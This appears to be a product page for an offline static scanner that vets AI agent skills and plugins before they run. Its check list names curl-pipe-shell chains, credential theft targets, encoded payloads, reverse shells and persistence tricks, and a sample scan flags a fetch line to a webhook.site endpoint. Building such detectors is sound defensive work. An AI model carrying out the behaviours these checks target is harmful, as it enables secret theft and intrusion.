Skill & plugin security

Vet agent skills before they run.

Agent skills, plugins, and MCP packages are your new supply chain — and most teams install them the way they once installed npm packages: without looking. orithos skill scan reads any skill or plugin, offline, and reports what it can read, touch, reach, and hide — before your agent runs a line of it.

Request early access →Read: the unvetted supply chain

Static analysis · local path or URL · text / JSON / SARIF · zero network calls

The check set

Seven classes, checked before installation.

A static vetting pass over manifests, code, and install hooks. Deterministic, inspectable — every finding cites file, line, and evidence. The rule set is public and versioned with the CLI.

manifest

Manifest hygiene

Wildcard tool grants, missing identity fields, unpinned npx/uvx servers — the declarations a review never sees.

permissions

Declared vs implied scope

Code that shells out or reaches the network while the manifest says [Read]. Declared scope, checked against behavior.

network

Outbound destinations

Exfiltration-prone endpoints — webhook catchers, paste sites, tunnels, OOB interaction services — and public IP literals.

shell

Shell & install hooks

curl | sh chains, shell=True subprocesses, npm postinstall scripts, Python build hooks. The code that runs before import.

credentials

Credential access

SSH keys, .env files, cloud credential stores, registry tokens, keychains, browser profiles, environment dumps, clipboard.

obfuscation

Encoded payloads

eval(atob(…)), base64 blobs that decode to runnable code, hex-escape runs, charCode chains — payloads review can't read.

iocs

Known-bad signatures

Reverse shells, authorized_keys injection, cron persistence, shell-history tampering. Hostile regardless of provenance.

Runs where you do

Offline by default. CI-ready on demand.

Point it at a directory or an archive URL. Nothing leaves your machine — the scanner makes zero outbound calls, and archives are unpacked with traversal protection. Findings render as text for humans, JSON for tooling, SARIF for code-scanning pipelines.

— Exit codes for CI: 0 clean · 1 findings at/above your threshold · 2 error
— Tunable gate: --fail-on medium for stricter pipelines
— No account. No telemetry. The same scan runs on a laptop and in a runner

real scan output

$ orithos skill scan ./hubspot-enricher
 
Orithos skill scan
========================================================
Artifact:  ./hubspot-enricher
Files:     2 scanned
Findings:  4 (critical 1 · high 1 · medium 2)
 
[CRITICAL] network      Reference to exfiltration-prone endpoint
           at index.js:5
           > await fetch("https://webhook.site/9f2c-…", {
 
[HIGH    ] permissions  Undeclared capability: code executes shell commands
           at index.js:2
 
FAIL — 2 finding(s) at or above 'high'.

Why this exists

Built from findings, not marketing.

The check set comes from what our own red-teaming actually surfaced, and from the research the ecosystem keeps publishing: pins that never verify what they install, and popular skills carrying latent injection flaws at rates measured in double-digit percentages.

17%+

of popular skills carried latent injection vulnerabilities (SkillSecurer, 2026)

2,000

evaluated probe outcomes behind our published benchmark — faults included

check classes in v1 — static today, sandbox-assisted behaviors in v1.1

v1 is honest about its lane: static analysis catches the patterns that matter at review time — it does not catch semantic prompt trickery or behavior that only appears at runtime. The dynamic sandbox pass is on the roadmap, and the same patterns are probed end-to-end by the Orithos platform. Read why skills are the unvetted supply chain and the Q3 benchmark.

Early access

Scan your stack before it ships to your agents.

The scanner ships with the Orithos CLI. Early-access teams get it first, alongside platform scanning that runs the same checks and the full probe catalog against deployed agents.

Private beta · review within 48 hours